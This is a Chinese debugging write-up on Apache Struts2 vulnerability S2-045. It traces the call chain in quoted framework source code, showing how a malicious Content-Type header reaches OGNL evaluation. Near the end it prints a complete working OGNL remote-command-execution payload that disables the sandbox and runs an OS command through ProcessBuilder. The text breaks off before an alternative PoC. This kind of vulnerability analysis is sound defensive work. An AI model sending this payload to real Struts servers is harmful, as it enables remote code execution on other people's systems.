Struts2漏洞调试笔记[S2-045]
[1] 漏洞信息
https://cwiki.apache.org/confluence/display/WW/S2-045
从官方的漏洞简述中,可以得知当得到的Content-Type不是一个预期的值时,会抛出一个异常,而在这个过程则会触发RCE。而触发的过程直接与Jakarta解析器相关。
[2] Struts2 上传机制
在进行Struts2上传机制的说明之前,需要对Struts2如何进行HTTP处理进行一定的了解。
Struts2作为一个表示层框架,从功能上来说,必须要能够处理HTTP请求,Struts2通过实现标准的Filter接口来进行HTTP请求的处理。而Struts2的运行逻辑主线可以分为:
Struts2的初始化:init方法驱动执行
Struts2处理HTTP请求:doFilter方法驱动执行
我们这里着重看Struts2处理HTTP请求的部分,doFilter
方法在过滤器StrutsPrepareAndExecuteFilter
中实现,而在处理HTTP请求这条主线中,又可以分成两个阶段:
先浏览doFilter
部分的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public void doFilter (ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest)req; HttpServletResponse response = (HttpServletResponse)res; try { if (this .excludedPatterns != null && this .prepare.isUrlExcluded(request, this .excludedPatterns)) { chain.doFilter(request, response); } else { this .prepare.setEncodingAndLocale(request, response); this .prepare.createActionContext(request, response); this .prepare.assignDispatcherToThread(); request = this .prepare.wrapRequest(request); ActionMapping mapping = this .prepare.findActionMapping(request, response, true ); if (mapping == null ) { boolean handled = this .execute.executeStaticResourceRequest(request, response); if (!handled) { chain.doFilter(request, response); } } else { this .execute.executeAction(request, response, mapping); } } } finally { this .prepare.cleanupRequest(request); } }
在request = this.prepare.wrapRequest(request);
这一句开始,便与我们这次要分析的S2045密切相关了。
由于Struts2中并没有专门开发请求解析器,因此对于mutipart/form-data
的请求,Struts2会通过调用其它的请求解析器去进行解析处理,在default.properties
中,设置了默认的解析器为Jakarta
:
以本次利用为例,列出部分调用顺序为:
StrutsPrepareAndExecuteFilter@doFilter
PrepareOperations@wrapRequest
MultiPartRequestWrapper@MultiPartRequestWrapper
JakartaMultiPartRequest@parse
JakartaMultiPartRequest@buildErrorMessage
…
在进入JakartaMultiPartRequest
后,便已经开始了对上传请求的处理,在buildErrorMessage
处下断点步入:
继续步入LocalizedTextUtil.findText
:
步入findText
:
在findText
中,最后的触发函数为getDefaultMessage
:
而在getDefaultMessage
中,重点在于以下几句:
1 2 3 4 5 if (message != null ) { MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale); String msg = formatWithNullDetection(mf, args); result = new LocalizedTextUtil.GetDefaultMessageReturnArg(msg, found); }
可以发现,我们构造的Content-Type被带入了TextParseUtil.translateVariables
:
1 2 3 public static String translateVariables (String expression, ValueStack stack) { return translateVariables(new char []{'$' , '%' }, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null ).toString(); }
继续跟入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Object translateVariables (char [] openChars, String expression, final ValueStack stack, final Class asType, final TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) { TextParseUtil.ParsedValueEvaluator ognlEval = new TextParseUtil.ParsedValueEvaluator() { public Object evaluate (String parsedValue) { Object o = stack.findValue(parsedValue, asType); if (evaluator != null && o != null ) { o = evaluator.evaluate(o.toString()); } return o; } }; TextParser parser = (TextParser)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container" )).getInstance(TextParser.class); return parser.evaluate(openChars, expression, ognlEval, maxLoopCount); }
我们可以观察到evalute
函数便是对parsedValue
进行OGNL表达式的处理:
1 2 3 4 5 6 7 8 public Object evaluate (String parsedValue) { Object o = stack.findValue(parsedValue, asType); if (evaluator != null && o != null ) { o = evaluator.evaluate(o.toString()); } return o; }
触发点便在return语句中
1 return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
跟入evaluate
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public Object evaluate (char [] openChars, String expression, ParsedValueEvaluator evaluator, int maxLoopCount) { Object result = expression = expression == null ? "" : expression; int pos = 0 ; char [] arr$ = openChars; int len$ = openChars.length; for (int i$ = 0 ; i$ < len$; ++i$) { char open = arr$[i$]; int loopCount = 1 ; String lookupChars = open + "{" ; while (true ) { int start = expression.indexOf(lookupChars, pos); if (start == -1 ) { ++loopCount; start = expression.indexOf(lookupChars); } if (loopCount > maxLoopCount) { break ; } int length = expression.length(); int x = start + 2 ; int count = 1 ; while (start != -1 && x < length && count != 0 ) { char c = expression.charAt(x++); if (c == '{' ) { ++count; } else if (c == '}' ) { --count; } } int end = x - 1 ; if (start == -1 || end == -1 || count != 0 ) { break ; } String var = expression.substring(start + 2 , end); Object o = evaluator.evaluate(var ); String left = expression.substring(0 , start); String right = expression.substring(end + 1 ); String middle = null ; if (o != null ) { middle = o.toString(); if (StringUtils.isEmpty(left)) { result = o; } else { result = left.concat(middle); } if (StringUtils.isNotEmpty(right)) { result = result.toString().concat(right); } expression = left.concat(middle).concat(right); } else { expression = left.concat(right); result = expression; } pos = (left != null && left.length() > 0 ? left.length() - 1 : 0 ) + (middle != null && middle.length() > 0 ? middle.length() - 1 : 0 ) + 1 ; pos = Math.max(pos, 1 ); } } return result; }
此处的evaluate
在类OgnlTextParser
中实现,简单阅读源码后能发现,主要功能为识别出Content-Type
中的OGNL表达式并加以执行。而执行的语句为Object o = evaluator.evaluate(var);
,这里的evaluate
是在translateVariables
中已声明的函数,实现代码在上面,不额外贴了。至此,S2045的触发流程分析完毕。
关于POC
网上流传的POC主要为:
1 "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
其中第一部分的(#nike='multipart/form-data')
是由于在PrepareOperations@wrapRequest
中有以下条件判断:
1 2 3 4 5 6 7 if (content_type != null && content_type.contains("multipart/form-data" )) { MultiPartRequest mpr = this .getMultiPartRequest(); LocaleProvider provider = (LocaleProvider)this .getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper(mpr, request, this .getSaveDir(), provider, this .disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, this .disableRequestAttributeValueStackLookup); }
POC中其余部分便是很正常的对过滤措施的绕过了,因此只要我们的Content-Type
只要包含multipart/form-data
即可,比如像下面的poc也是可行的: